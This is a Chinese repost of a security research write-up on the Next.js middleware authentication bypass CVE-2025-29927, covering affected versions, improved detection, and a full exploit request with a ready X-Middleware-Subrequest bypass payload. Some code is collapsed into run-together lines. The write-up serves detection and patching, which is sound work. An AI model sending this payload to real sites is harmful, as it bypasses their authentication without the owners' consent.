尽职调查:分析Next.js中间件绕过漏洞(CVE-2025-29927)
引言
过去几天,由于3月21日披露的关键CVE漏洞CVE-2025-29927,Next.js生态系统出现了剧烈震荡。该漏洞允许攻击者绕过在中间件层实现的认证机制。
自该CVE披露以来,我们的安全研究团队注意到初期关于漏洞复现的错误信息泛滥,早期概念验证(PoC)声称仅需使用x-middleware-subrequest: true
头即可绕过认证,而无效的扫描模板则漏报了绝大多数实际可被利用的案例。
漏洞原始发现者(zhero和inzo_)撰写了一篇优秀的博客文章详细解析漏洞机理(https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
)。他们结合实战经验深入阐述了漏洞的潜在影响(认证绕过、CSP绕过、通过缓存投毒实施DoS攻击等)。
在Assetnote,我们的扫描方法论和技术旨在实现最高精度。我们优先识别客户攻击面中所有可被利用的实例。为此,往往需要超越公开资源,构建智能且周全的检测方案。
受影响的Next.js版本包括:
-
Next.js 15.x < 15.2.3 -
Next.js 14.x < 14.2.25 -
Next.js 13.x < 13.5.9
建议尽快升级至以下修复版本:
-
Next.js 15.2.3或更高 -
Next.js 14.2.25或更高 -
Next.js 13.5.9或更高
公开披露的检测方法存在哪些问题?
分析中间件层实现的认证机制时,常见模式是开发者通过重定向(redirect)或重写(rewrite)将用户引导至认证流程或登录页面。根据我们对公开资产的分析,重定向策略比重写更为常见。
目前所有公开的漏洞检测方法都依赖应用响应中包含重写逻辑的标头(如x-middleware-rewrite
、x-middleware-next
、x-middleware-redirect
)来判断中间件是否存在。但经测试发现(测试版本覆盖至14.2.24),当中间件执行重定向时不会返回x-middleware-rewrite
标头,而x-middleware-next
和x-middleware-redirect
在重定向场景中也不会出现。
这意味着大量使用重定向策略的中间件实现会被漏检。
此外,由于Next.js开发中常见通过中间件实现多语言页面重定向(如/foo
-> /en/foo
),现有公开检测方法未对此类场景进行过滤,导致高误报率。
最后,现有检测方法需要发送多个请求进行验证。我们通过设计包含所有潜在绕过情况的x-middleware-subrequest
多态载荷,成功将请求次数减半。
构建更可靠的检测方法
通过审计Next.js代码,我们发现当中间件执行重定向时,可以通过特定方式泄漏内部标头:
if ( !isEdgeRendering && isNextDataRequest &&// 如果重写是外部地址且启用了外部重写解析配置// 则不添加此标头以便上游应用设置 !( process.env.__NEXT_EXTERNAL_MIDDLEWARE_REWRITE_RESOLVE && relativeDestination.match(/http(s)?:///) ) ) { response.headers.set('x-nextjs-rewrite', relativeDestination) }
通过在HTTP请求中添加x-nextjs-data: 1
标头,可以触发Next.js返回包含x-nextjs-redirect
的内部标头,而现有检测方法未考虑这一机制。常见的x-middleware-redirect
标头可能被吞没,导致漏检。
示例中间件代码:
import { NextResponse } from'next/server'import type { NextRequest } from'next/server'exportfunctionmiddleware(request: NextRequest) {return NextResponse.redirect(new URL('/', request.url))}exportconst config = {matcher: '/foo',}
发送探测请求:
curl -v 'http://localhost:3000/foo' -H 'x-nextjs-data: 1'
响应将包含未吞没的x-nextjs-rewrite
标头:
HTTP/1.1 307 Temporary Redirectx-nextjs-redirect: /Date: Mon, 24 Mar 2025 06:09:08 GMTConnection: keep-aliveKeep-Alive: timeout=5Transfer-Encoding: chunked
我们通过构造多态载荷实现单次请求验证,有效载荷如下:
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
该载荷覆盖了多种潜在绕过场景,避免多次请求。我们的攻击面管理平台整合了这些改进,并有效过滤了常见的多语言重定向误报(如/foo
-> /en/foo
)。
精简版检测流程如下:
首次探测请求:
GET / HTTP/2Host: targetAccept-Encoding: gzip, deflate, brX-Nextjs-Data: 1Accept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Connection: closeCache-Control: max-age=0
若响应为307状态码且包含非空值标头x-nextjs-redirect
、x-middleware-rewrite
或x-nextjs-rewrite
:
HTTP/2 307 Temporary RedirectDate: Mon, 24 Mar 2025 05:07:41 GMTStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffReferrer-Policy: strict-origin-when-cross-originX-Nextjs-Redirect: /loginX-Envoy-Upstream-Service-Time: 10
则可发送漏洞利用载荷:
GET / HTTP/2Host: targetAccept-Encoding: gzip, deflate, brX-Nextjs-Data: 1X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middlewareAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Cache-Control: max-age=0
成功利用时将返回200状态码,实现认证机制绕过。
结论
Next.js具有广泛的部署基础,其内部机制复杂难测。本次事件暴露出公开研究中存在的认知缺口——未能充分理解中间件在Next.js认证机制中的实际应用模式。
原文始发于微信公众号(独眼情报):分析Next.js中间件绕过漏洞(CVE-2025-29927)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论